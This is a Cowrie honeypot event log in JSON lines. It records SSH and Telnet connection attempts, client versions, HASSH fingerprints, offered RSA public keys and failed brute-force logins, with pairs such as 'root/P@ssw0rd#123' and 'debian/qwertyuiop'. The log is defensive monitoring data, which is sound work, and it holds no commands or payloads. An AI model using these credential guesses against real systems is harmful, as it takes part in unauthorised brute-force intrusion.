{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:07.184625Z","src_ip":"103.84.236.222","session":"20849190876f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"administrador","message":"login attempt [administrador/administrador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:08.139716Z","src_ip":"103.84.236.222","session":"20849190876f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:09.373882Z","src_ip":"103.84.236.222","session":"20849190876f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.961628675460815,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:12.782439Z","src_ip":"129.232.238.42","session":"4ad5583f065c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37330,"dst_ip":"10.17.0.5","dst_port":22,"session":"33a272c14f95","protocol":"ssh","message":"New connection: 103.15.226.202:37330 (10.17.0.5:22) [session: 33a272c14f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:28.186770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:28.192629Z","src_ip":"103.15.226.202","session":"33a272c14f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:28.433908Z","src_ip":"103.15.226.202","session":"33a272c14f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd#123","message":"login attempt [root/P@ssw0rd#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:29.160706Z","src_ip":"103.15.226.202","session":"33a272c14f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:30.404298Z","src_ip":"103.15.226.202","session":"33a272c14f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00300979614258,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:53.738961Z","src_ip":"212.55.149.117","session":"3cd247a3ebd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":14805,"dst_ip":"159.203.135.109","dst_port":22,"session":"199011f5615b","protocol":"ssh","message":"New connection: 193.24.211.100:14805 (159.203.135.109:22) [session: 199011f5615b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:58.293822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:58.308723Z","src_ip":"193.24.211.100","session":"199011f5615b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:58.599179Z","src_ip":"193.24.211.100","session":"199011f5615b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"only","message":"login attempt [root/only] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:24:59.039801Z","src_ip":"193.24.211.100","session":"199011f5615b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:25:00.163136Z","src_ip":"193.24.211.100","session":"199011f5615b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":56616,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a895de22620","protocol":"ssh","message":"New connection: 103.84.236.222:56616 (10.17.0.5:22) [session: 2a895de22620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:25:04.686191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:25:04.697956Z","src_ip":"103.84.236.222","session":"2a895de22620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:25:04.948967Z","src_ip":"103.84.236.222","session":"2a895de22620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwertyuiop","message":"login attempt [debian/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:25:05.915692Z","src_ip":"103.84.236.222","session":"2a895de22620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:25:07.154392Z","src_ip":"103.84.236.222","session":"2a895de22620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":44864,"dst_ip":"10.17.0.5","dst_port":22,"session":"69e4de38d791","protocol":"ssh","message":"New connection: 103.84.236.222:44864 (10.17.0.5:22) [session: 69e4de38d791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:00.076380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:00.085183Z","src_ip":"103.84.236.222","session":"69e4de38d791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:00.323240Z","src_ip":"103.84.236.222","session":"69e4de38d791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty1234","message":"login attempt [user/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:01.295460Z","src_ip":"103.84.236.222","session":"69e4de38d791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:02.534045Z","src_ip":"103.84.236.222","session":"69e4de38d791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.123.47","src_port":45304,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bccd904fb65","protocol":"ssh","message":"New connection: 172.105.123.47:45304 (10.17.0.5:22) [session: 1bccd904fb65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:08.430270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:08.435293Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:08.687689Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:f5:89:ac:91:8a:50:2c:d5:8a:c9:f1:cc:c2:61:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRTw0bs38h3Kih+gRE5fzkL2tJALU5UTuLkdZ2Wxk8+o6cpj4PP+czl04TnTxoM67wJuAhZ3Fk+VrXBhJqSle0UXck7vmzx0ow3VepAtgUq9uZYFWMZxzVNBHAZw88C8kkRms9fAd3ztXyGrmctfd1d79JehTT8+erRe9kL5pk3wuf60zQ1kuSdIEx3CRB7XjwOBXL20q7gDKtx3o6kvGbWcj+18tQBfpGrjV7nWf/MexsYvYJ+EcGbVpouIhN1/8NoN/eA7tfNdcGKAC7yBKOup8xxKInZQSu2khljKCrW034Rx7nC+hjqOVqY8Gn1VnHzoFhr3/xptIzYojWhztb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:f5:89:ac:91:8a:50:2c:d5:8a:c9:f1:cc:c2:61:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:09.867299Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:f5:89:ac:91:8a:50:2c:d5:8a:c9:f1:cc:c2:61:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRTw0bs38h3Kih+gRE5fzkL2tJALU5UTuLkdZ2Wxk8+o6cpj4PP+czl04TnTxoM67wJuAhZ3Fk+VrXBhJqSle0UXck7vmzx0ow3VepAtgUq9uZYFWMZxzVNBHAZw88C8kkRms9fAd3ztXyGrmctfd1d79JehTT8+erRe9kL5pk3wuf60zQ1kuSdIEx3CRB7XjwOBXL20q7gDKtx3o6kvGbWcj+18tQBfpGrjV7nWf/MexsYvYJ+EcGbVpouIhN1/8NoN/eA7tfNdcGKAC7yBKOup8xxKInZQSu2khljKCrW034Rx7nC+hjqOVqY8Gn1VnHzoFhr3/xptIzYojWhztb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:09.871599Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:da:6f:94:70:f2:75:2a:cc:eb:79:42:4b:bb:81:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8aAo6yJYVtkIlJE1QNJaEbbW1xW01JzdAyuaGVJ3hlzCnfSBuG2noIB12YC3TEh1PrzMLDh3r6A2GFe8kgkd6lDDLXity21dp/6AStUGHbXiZ8AdNSPdkZnUZ+JFyspl8EL8j6MUxzqgqe1s/PqTnc3+9D2jsZM6z/nWE0/xa/dnrdmQSCiXEX1gh7nqeB5ei7c+aqyVC2ti6B/lV9GmeUcUC4lM+aniCRQfyIhNSIi5U4cAXDRlBkgmldLOu9QxdzHmdq1mrID4p7m7X7T8ctHDFWjz3Ql9mYj0trray3z9sKQzcu+XhkvaCKXWwdxngV2Zz9uj4NuJ0qGIPF720rH2cb7qKqnOfCkkr/H4oPGIs5mabYgEgyQ/4DAoJP+10NnCEAoMumB4lrCZ0RMyo9/Vj2v8viogYuXNVYUJrGanaucubdXThCxhSUZkhN3HX6+lqPhkIILGgeWLuVIbk21/c8yF3B0/exu8ofkPR7LLRnXFEt79JnaYdK9IsWEE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:da:6f:94:70:f2:75:2a:cc:eb:79:42:4b:bb:81:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:10.117276Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:da:6f:94:70:f2:75:2a:cc:eb:79:42:4b:bb:81:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8aAo6yJYVtkIlJE1QNJaEbbW1xW01JzdAyuaGVJ3hlzCnfSBuG2noIB12YC3TEh1PrzMLDh3r6A2GFe8kgkd6lDDLXity21dp/6AStUGHbXiZ8AdNSPdkZnUZ+JFyspl8EL8j6MUxzqgqe1s/PqTnc3+9D2jsZM6z/nWE0/xa/dnrdmQSCiXEX1gh7nqeB5ei7c+aqyVC2ti6B/lV9GmeUcUC4lM+aniCRQfyIhNSIi5U4cAXDRlBkgmldLOu9QxdzHmdq1mrID4p7m7X7T8ctHDFWjz3Ql9mYj0trray3z9sKQzcu+XhkvaCKXWwdxngV2Zz9uj4NuJ0qGIPF720rH2cb7qKqnOfCkkr/H4oPGIs5mabYgEgyQ/4DAoJP+10NnCEAoMumB4lrCZ0RMyo9/Vj2v8viogYuXNVYUJrGanaucubdXThCxhSUZkhN3HX6+lqPhkIILGgeWLuVIbk21/c8yF3B0/exu8ofkPR7LLRnXFEt79JnaYdK9IsWEE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:10.120423Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:33:7c:de:d6:8e:e2:9d:eb:75:f5:3a:6a:d8:b9:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ZkASnvv/VM8dHwA9R5rAN7WixkjvIaomJJLbd0f/oZLkuBI1cpL5PR8XSkr4Vq+n/8zxSnb1+oGJYleur84KEOyrSbiu9bqCIo3ogostXqMW/aLj4qADaEgJfcjQJRSe2/dUM6vYhSRg0KlAkuIWN3bz/IYOFbmVuJ5aeCwUVS9myc3zYjPFqODlW+/P+Coa/VxhP/NA0tpPnE2sjLJ8Z4ve9g+0nF6XO9+hiJAIXd4K7uo/gdy2Hz+bDpCO/iJcnNe0JW0VOU4TSj8wdd7lx6o2TxwRjtpSBvImmAnoWX6qeoMfGxBnnNJWFpGv7Nl61i9iXzADuveJwJGLIaYT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:33:7c:de:d6:8e:e2:9d:eb:75:f5:3a:6a:d8:b9:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:10.366766Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:33:7c:de:d6:8e:e2:9d:eb:75:f5:3a:6a:d8:b9:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ZkASnvv/VM8dHwA9R5rAN7WixkjvIaomJJLbd0f/oZLkuBI1cpL5PR8XSkr4Vq+n/8zxSnb1+oGJYleur84KEOyrSbiu9bqCIo3ogostXqMW/aLj4qADaEgJfcjQJRSe2/dUM6vYhSRg0KlAkuIWN3bz/IYOFbmVuJ5aeCwUVS9myc3zYjPFqODlW+/P+Coa/VxhP/NA0tpPnE2sjLJ8Z4ve9g+0nF6XO9+hiJAIXd4K7uo/gdy2Hz+bDpCO/iJcnNe0JW0VOU4TSj8wdd7lx6o2TxwRjtpSBvImmAnoWX6qeoMfGxBnnNJWFpGv7Nl61i9iXzADuveJwJGLIaYT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:10.371163Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
